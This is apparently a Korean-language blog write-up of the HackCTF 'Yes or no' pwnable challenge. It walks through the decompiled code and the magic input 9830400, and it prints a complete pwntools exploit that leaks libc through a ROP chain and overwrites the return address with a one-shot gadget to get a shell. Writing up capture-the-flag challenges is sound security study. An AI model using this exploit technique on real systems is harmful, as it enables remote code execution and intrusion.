풀이
dreamhack에서 기본적인 포너블 문제를 풀고왔다.
이제 다시 HackCTF pwnable, wargame WriteUp을 작성해보려고 한다.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Yes or no 파일을 먼저 실행해보자.
단순하게 숫자를 물어보는 프로그램이다.
IDA로 열어 슈도코드를 확인해보도록 하겠다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int v5; // ecx
int v6; // eax
int v7; // eax
char s; // [rsp+Eh] [rbp-12h]
int v10; // [rsp+18h] [rbp-8h]
int v11; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
v11 = 5;
puts("Show me your number~!");
fgets(&s, 10, stdin);
v10 = atoi(&s);
if ( (v11 - 10) >> 3 < 0 )
{
v4 = 0;
}
else
{
v3 = v11++;
v4 = v10 - v3;
}
if ( v4 == v10 )
{
puts("Sorry. You can't come with us");
}
else
{
v5 = 1204 / ++v11;
v6 = v11++;
if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
{
puts("That's cool. Follow me");
gets(&s);
}
else
{
v7 = v11--;
if ( v10 == v7 )
{
printf("Why are you here?");
return 0;
}
puts("All I can say to you is \"do_system+1094\".\ngood luck");
}
}
return 0;
}
음.. if ( v10 == v6 * v5 << (++v11 % 20 + 5) )를 만족하면 gets(&s)를 실행한다.
gets 부분을 이용해 오버플로우를 발생시킬 수 있을 거 같다.
해당 조건문을 만족시키는 값을 다시 코딩해서 확인해봤다.
> 조건문을 만족시키는 값은 9830400이다.
libc leak을 이용해 base address를 구하고, ret를 oneshot gadget으로 덮으면 쉘을 딸 수 있을 듯하다.
dreamhack에서 공부한 보람이 있다.
do_system+1094 관련된 문제도 pwnable.kr에서 풀어봤기 때문에 별 신경 안쓰고 그냥 문제를 풀었다.
페이로드는 다음과 같다.
1 from pwn import *
2
3 context.log_level = 'debug'
4
5 p = remote('ctf.j0n9hyun.xyz',3009)
6 e = ELF('./yes_or_no')
7 libc = ELF('./libc-2.27.so')
8 pop_rdi = 0x0000000000400883
9
10 payload = '\x90'*0x12
11 payload += 'A'*8
12 payload += p64(pop_rdi)
13 payload += p64(e.got['puts'])
14 payload += p64(e.plt['puts'])
15 payload += p64(e.symbols['main'])
16
17 #payload = '\x90'*26
18 #payload += p64(oneshot)
19 #payload += p64(oneshot)
20
21 p.recvline()
22 p.sendline('9830400')
23
24 p.recvuntil('me\n')
25 p.sendline(payload)
26
27 arr = u64(p.recvuntil('\x7f').ljust(8, '\x00'))
28 base = arr - libc.symbols['puts']
29 oneshot = base + 0x4f2c5
30
31 payload = '\x90'*0x12
32 payload += 'A'*8
33 payload += p64(oneshot)
34
35 p.recvline()
36 p.sendline('9830400')
37 p.recvuntil('me\n')
38 p.sendline(payload)
39 p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] g++ pwn 풀이 (200p) (0) | 2020.08.23 |
---|---|
[HackCTF] RTL_World 풀이 (200p) (0) | 2020.08.23 |
[HackCTF] Pwnable 후기 (0) | 2020.07.18 |
[HackCTF] BOF_PIE 풀이 (150p) (0) | 2020.07.16 |
[HackCTF] Offset 풀이 (150p) (0) | 2020.07.15 |